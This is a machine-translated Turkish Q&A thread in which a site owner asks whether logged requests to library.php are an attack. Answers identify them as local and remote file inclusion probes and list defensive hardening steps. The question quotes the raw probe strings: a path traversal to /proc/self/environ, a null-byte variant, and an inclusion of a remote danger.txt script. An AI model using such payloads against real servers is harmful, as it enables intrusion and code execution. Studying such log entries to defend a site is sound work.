bu bir saldırı girişimi mi?


12

404 günlüklerime baktığımda, her ikisi de bir kez meydana gelen şu iki URL'yi fark ettim:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

ve

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

Söz konusu sayfa, library.phpbir gerektiriyor typesonra yarım düzine farklı kabul edilebilir değerlerle değişken ve bir iddeğişken. Dolayısıyla, geçerli bir URL

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

ve kimliklerin tümü mysql_real_escape_stringveritabanını sorgulamak için kullanılmadan önce çalıştırılır .

Ben bir çaylakım, ama bana göre bu bağlantıların her ikisi de webroot'a karşı basit saldırılar mı?

1) Bir 404 dışında bu tür şeylere karşı en iyi nasıl korunabilirim?

2) Sorumlu IP'lere izin vermeli miyim?

EDIT: bunu da fark ettim

/library.php=http://www.basfalt.no/scripts/danger.txt

DÜZENLEME 2: 3 saldırının tümü için rahatsız edici IP 216.97.231.15, Los Angeles'ın hemen dışında bulunan Lunar Pages adlı bir İSS'yi izlemiştir.

DÜZENLEME 3: Cuma sabahı yerel saat ISS'yi aramaya ve telefonda kimin bulabileceğine dair konuyu tartışmaya karar verdim. Sonuçları 24 saat içinde buraya göndereceğim.

EDIT 4: Ben onların yöneticilerini e-posta ile sona erdi ve ilk önce onlar "içine bakıyorduk" ve sonra bir gün sonra "Bu sorun şimdi çözülmelidir" ile cevap verdi. Ne yazık ki başka ayrıntı yok.


Adnrew, bu /library.php betiğinin sorgu dizesinden herhangi bir şey içermediğini doğru anladım mı? Bu durumda güvendesiniz
Col. Shrapnel

library.php kendi sitem tarafından oluşturulan bağlantıları işler. typeKullanımına dahil senaryoyu söyler (bir ile olsa IF $_GET['type'] == 'thing') {} ESLE..., değil gibi doğrudan bir bağlantı olarak include 'type.php') ve idmysql_real_escape_string üzerinden çalışmasını ve bu sorguları için kullanılır. Bunu bilerek hala güvende miyim?

Birisi saldırganın tam olarak neyi bulmaya çalıştığını açıklayabilir mi? Tüm cevapların sorusundaki kısa bir özet harika olurdu.
bzero

Yanıtlar:


19

0) Evet. En azından, sitenize karşı savunmasız olup olmadığını keşfetmeye çalışan sistematik bir sonda.

1) Kodunuzun temiz olduğundan emin olmanın dışında, yapabileceğiniz çok şey yoktur, ancak güvenli olduğundan emin olmak için ana makinenize karşı kendi testlerinizi yapın. Google Skipfish, size yardımcı olacak birçok araçtan biridir.

2) Yapardım.


10
0)Gösterim ile ilgili : güzel !! Bunu hiç düşünmemiştim.

@polygenelubricants Ben, aklınıza olmaz bahis -1)ya 0.5)ya π)ya 2 + 3i)ya gösterimde. : P
Mateen Ulhaq


7

Başkaları tarafından söylendiği gibi: evet, bu bir hack girişimidir. Bu muhtemelen el yapımı denemeye ek olarak botnet'ler tarafından çalıştırılan çok sayıda otomatik girişim olduğunu unutmayın. Genellikle bu tür saldırılar, SQL enjeksiyonuna, sisteme veya dosya sızıntısına yol açan kullanıcı girişini doğrulamada başarısızlık gibi, eski güvenlik açıkları ve / veya bazı tipik kodlama kusurları ile gizlice girmeye çalışır.

Bu botnet'leri elle yasaklamak büyük olasılıkla imkansızdır, çünkü botnet'ler binlerce benzersiz IP adresi kullanabilir, bu nedenle onları yasaklamak istiyorsanız, bir tür otomatik yasak programı kullanmanız gerekir. fail2ban aklıma geliyor; mod_security olaylarına veya diğer bazı günlük girişlerine yanıt vermesini sağlayın.

Kodunuz temiz ve sunucu sertleştirilmişse, bu saldırı girişimleri yalnızca can sıkıcı günlük kirliliğidir. Ancak, ihtiyaca bağlı olarak ihtiyati önlemler almak ve aşağıdakilerin bir kısmını veya tamamını dikkate almak daha iyidir:

  • mod_security , her türlü tipik hack girişimini filtreleyen bir Apache modülüdür. Şüpheli JavaScript vb. Görürse, giden trafiği de (sunucunuzun bir istemciye göndereceği sayfa) kısıtlayabilir.

  • PHP'nin kendisini sertleştirmek için suhosin .

  • PHP betiklerinizi betiğin sahibi olan bir kullanıcı olarak çalıştırın; suphp ve php-fpm gibi şeyler bunu mümkün kılar.

  • Webroot ve PHP geçici dizininizi noexec, nosuid, nodev olarak bağlayın .

  • Sistem ve passthru gibi gereksiz PHP işlevlerini devre dışı bırakın .

  • Gereksiz PHP modüllerini devre dışı bırakın. Örneğin, IMAP desteğine ihtiyacınız yoksa, etkinleştirmeyin.

  • Sunucunuzu güncel tutun.

  • Günlüklere göz kulak ol.

  • Yedekleriniz olduğundan emin olun.

  • Birisi sizi hackliyorsa veya başka bir felaket size çarparsa ne yapacağınızı planlayın.

Bu iyi bir başlangıç. Sonra Snort ve Prelude gibi daha da aşırı önlemler var , ancak çoğu kurulum için çok aşırı olabilirler.


3

Bu sorguları yapan makinenin bir botnet zombi olması tamamen muhtemeldir. Bu istekleri birden fazla IP'den alıyorsanız, muhtemelen onları yasaklamaya değmez, çünkü etkili olması için internetin yarısını yasaklamanız gerekir.


1

Daha önce de belirtildiği gibi - daha fazla bilgi almak için / proc / self / environ dosyasına erişme girişimidir.

Bunun bir linux makinesi olduğunu varsayıyorum:

Kullanmalısın

Saldıran bir sunucunun ip'ini engelleyebilirsiniz, ancak özellikte saldırgan olmayabileceğini düşünmelisiniz.

Sunucum saldırı altındayken bazı hizmetleri engellerdim: http / https / pop / imap / ssh ama smtp'yi açık bırakın, bir hata yaptıysanız size bildirilebilir.


Neden güvenliğinizi değiştirmeden önce başarısız bir saldırı gerçekleşene kadar bekleyin? Saldırının başarısız olduğunu bildiğinizde neden bir şey yapıyorsunuz? Evet, OP gürültüyü ve boşa harcanan bant genişliğini azaltmak için bazı geçici değişiklikler düşünebilir - ancak
değinmediğinizi

Her zaman imalar vardır. Olduğu gibi bırakın ve saldırıya uğrayabilirsiniz. Sunucunuzu güvenli hale getirin ve güvenlik programlarının neden olduğu sorunlarla yüzleşin. Her nasılsa - güvenlik, web üzerinden erişilebilen bir sistemde büyük bir endişe kaynağıdır!
Andreas Rehm

0

Evet, izinsiz giriş denemesi. IP'ye kesinlikle bir yasak koymalısınız. IP'nin ülke dışında olduğunu belirlerseniz, ait olduğu tüm alt ağı yasaklamak isteyebilirsiniz. Bu, bir sunucu sorunundan daha az kod sorunudur. Bu özel saldırıya bakın ve barındırma sağlayıcınızın veya benzer komut dosyası kiddie girişimlerine karşı savunmasız olmadığından emin olun (ki bu böyle görünüyor).


0

Bu, web sunucunuz aracılığıyla erişilebilen sunucu tarafı komut dosyalarında olası rasgele yerel dosya ekleme güvenlik açığından yararlanma girişimidir . Savunmasız bir linux sisteminde /proc/self/environ, sunucu tarafında rasgele kod yürütmek için kötüye kullanılabilir.


0

Janne Pikkarainen tarafından önerildiği gibi:

Günlüklere göz kulak ol.

Yedekleriniz olduğundan emin olun.

Bu günlüklerin bir parçası olarak, bir saldırı tespit sisteminin bir parçası olarak web siteniz de dahil olmak üzere dosyalarınızın herhangi birindeki değişiklikleri izlemek önemlidir. Bir örnek, yapılandırma dosyaları için bunu varsayılan olarak yapan OpenBSD'dir. Bunu gündeme getiriyorum çünkü:

  • Cloud Sites için özel olarak oluşturulmuş bir web sitesindeki PHP dosyalarında küçük değişiklikler yapıldı (bu sadece standart olmayan bir etiket çıkardı, ancak istismarın büyüklüğünü ölçmek için bir testin parçasıydı).
  • Bir iş arkadaşı için WordPress .htaccess dosyalarında ince yönlendirmeler yapıldı (yalnızca Google arama sonuçlarından yönlendirmeler).
  • Başka bir iş arkadaşı için Joomla yapılandırma dosyasında ince değişiklikler yapıldı (ne olduğunu hatırlayamıyorum, belirli koşullar altında da bir yönlendirme olduğunu düşünüyorum).
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.